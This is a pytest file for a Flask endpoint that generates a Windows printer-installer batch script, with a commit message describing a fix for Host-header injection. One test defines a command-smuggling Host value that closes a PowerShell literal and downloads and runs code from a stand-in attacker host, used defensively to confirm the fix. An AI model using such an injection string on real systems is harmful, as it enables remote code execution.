Files
shopdb-flask/tests/test_plugins/test_printer_install_batch.py
cproudlock f3a291a28d Stop a request-supplied host reaching the generated installer script
Found by the Darkwing scan of main (run 33654922078). Its own review dismissed
the finding as not remotely exploitable and it is right about that: nothing can
make a victim's browser attach a custom header, and deploy/windows/web.config
does no output caching. It still recommended the hardening, and the reasoning
for the dismissal is a property of OUR IIS config, not of the product - every
site runs its own instance behind its own proxy under ADR-004.

_batch_base_url() interpolated a caller-supplied host into the single-quoted
PowerShell -Uri literal of the .bat this route hands out. site_base_url ships
blank, so that fallback is the default path on a fresh install, not an edge
case, and GET /api/printers/install-batch is public.

Three rules now:
  - the host is validated as a hostname before it is interpolated, so the quote
    that would end the literal never reaches it,
  - X-Forwarded-Host is only believed when TRUSTED_PROXY_COUNT declares a proxy
    -- the rule shopdb/utils/clientip.py already applies to X-Forwarded-For.
    That was centralised for this exact reason and did not cover the Host
    variant,
  - a request supplying neither usable header gets a relative base, which still
    downloads correctly from the browser that fetched the script.

Three tests pin it, and all three were confirmed to fail with the old body
restored rather than assumed to cover it.

Scope: product
2026-09-02 13:52:06 -04:00

164 lines
6.9 KiB
Python

"""Tests for the printer installer batch endpoint (/api/printers/install-batch).
The printer installer map lets a user pick printers on the shopfloor map and
download a .bat that installs them, grouping the same way the classic
installprinter.asp did (HP/Xerox -> universal PrinterInstaller.exe; other
printers with a .exe installpath -> that installer /SILENT; anything else ->
manual).
"""
import pytest
@pytest.fixture
def printer_assettype(db):
from shopdb.core.models import AssetType
at = AssetType(assettype='printer', pluginname='printers',
tablename='printers', description='Printers')
db.session.add(at)
db.session.commit()
return at
def _vendor(db, name):
from shopdb.core.models import Vendor
v = Vendor(vendor=name)
db.session.add(v)
db.session.commit()
return v
def _make_printer(client, auth_headers, **payload):
resp = client.post('/api/printers', json=payload, headers=auth_headers)
assert resp.status_code == 201, resp.get_json()
return resp.get_json()['data']['printer']['printerid']
def test_install_batch_groups_universal_specific_and_manual(
client, db, auth_headers, printer_assettype):
hp = _vendor(db, 'HP')
zebra = _vendor(db, 'Zebra')
epson = _vendor(db, 'Epson')
# HP -> universal installer
hp_id = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn04', vendorid=hp.vendorid)
# Zebra with a .exe installpath -> specific silent install
zebra_id = _make_printer(client, auth_headers, assetnumber='LABELER-ZEBRA',
hostname='wjprn05', vendorid=zebra.vendorid,
installpath='./installers/printers/zddriver.exe')
# Epson with a .zip installpath -> manual (we do not run a .zip /SILENT)
epson_id = _make_printer(client, auth_headers, assetnumber='RECEIPT-EPSON',
hostname='wjprn06', vendorid=epson.vendorid,
installpath='./installers/printers/c350navi.zip')
ids = '%d,%d,%d' % (hp_id, zebra_id, epson_id)
resp = client.get('/api/printers/install-batch?printerids=' + ids,
headers=auth_headers)
assert resp.status_code == 200
assert 'application/octet-stream' in resp.headers['Content-Type']
assert '.bat' in resp.headers['Content-Disposition']
bat = resp.get_data(as_text=True)
# Universal group: HP printer name in a /PRINTER list + PrinterInstaller.exe
assert 'PrinterInstaller.exe' in bat
assert '/PRINTER="CSF04-WJRP2035-HP"' in bat
# Specific: the .exe installpath resolved + run /SILENT
assert 'installers/printers/zddriver.exe' in bat
assert '/SILENT' in bat
# Manual: the .zip printer is flagged, NOT executed
assert 'MANUAL' in bat
assert 'RECEIPT-EPSON' in bat
assert 'c350navi.zip' not in bat # never handed to the runner
def test_install_batch_resolves_vendor_via_model(
client, db, auth_headers, printer_assettype):
"""A printer with no direct vendorid still groups as universal when its
MODEL's vendor is HP/Xerox (the import sets the model, not the printer's
vendorid) - the bug that dumped every prod printer into 'manual (unknown)'."""
from shopdb.core.models import Vendor, Model
xerox = Vendor(vendor='Xerox')
db.session.add(xerox)
db.session.commit()
model = Model(modelnumber='VersaLink C7125', vendorid=xerox.vendorid)
db.session.add(model)
db.session.commit()
# No vendorid on the printer - only the model ties it to Xerox.
pid = _make_printer(client, auth_headers, assetnumber='SpoolsInspection-Xerox',
hostname='wjprn07', modelnumberid=model.modelnumberid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers=auth_headers)
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'PrinterInstaller.exe' in bat
assert '/PRINTER="SpoolsInspection-Xerox"' in bat
assert 'MANUAL' not in bat
def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
resp = client.get('/api/printers/install-batch', headers=auth_headers)
assert resp.status_code == 400
# --- the generated script is a script: what reaches it must be a hostname -----
#
# _batch_base_url() interpolates a request-supplied host into the single-quoted
# PowerShell -Uri literal of the .bat this route hands out, and site_base_url
# ships blank, so that fallback is the DEFAULT path rather than an edge case.
# A quote in the host would end the literal. These pin the three rules that stop
# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy,
# and emit a relative base rather than a host we cannot vouch for.
INJECT = "evil';iex(iwr http://attacker/x);'"
def test_install_batch_refuses_a_host_that_is_not_a_hostname(
client, db, auth_headers, printer_assettype):
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers, 'Host': INJECT})
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'iex' not in bat
assert 'attacker' not in bat
# No host survived, so the download URL is relative rather than poisoned.
assert "-Uri '/installers/PrinterInstaller.exe'" in bat
def test_install_batch_ignores_forwarded_host_with_no_declared_proxy(
client, db, auth_headers, printer_assettype):
"""TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and
must not be believed - the same rule clientip.py applies to
X-Forwarded-For."""
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers,
'X-Forwarded-Host': 'attacker.example'})
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'attacker.example' not in bat
def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy(
client, db, auth_headers, printer_assettype, app):
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
app.config['TRUSTED_PROXY_COUNT'] = 1
try:
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers,
'X-Forwarded-Host': 'shopdb.example.net'})
bat = resp.get_data(as_text=True)
assert 'https://shopdb.example.net/installers/' in bat
finally:
app.config['TRUSTED_PROXY_COUNT'] = 0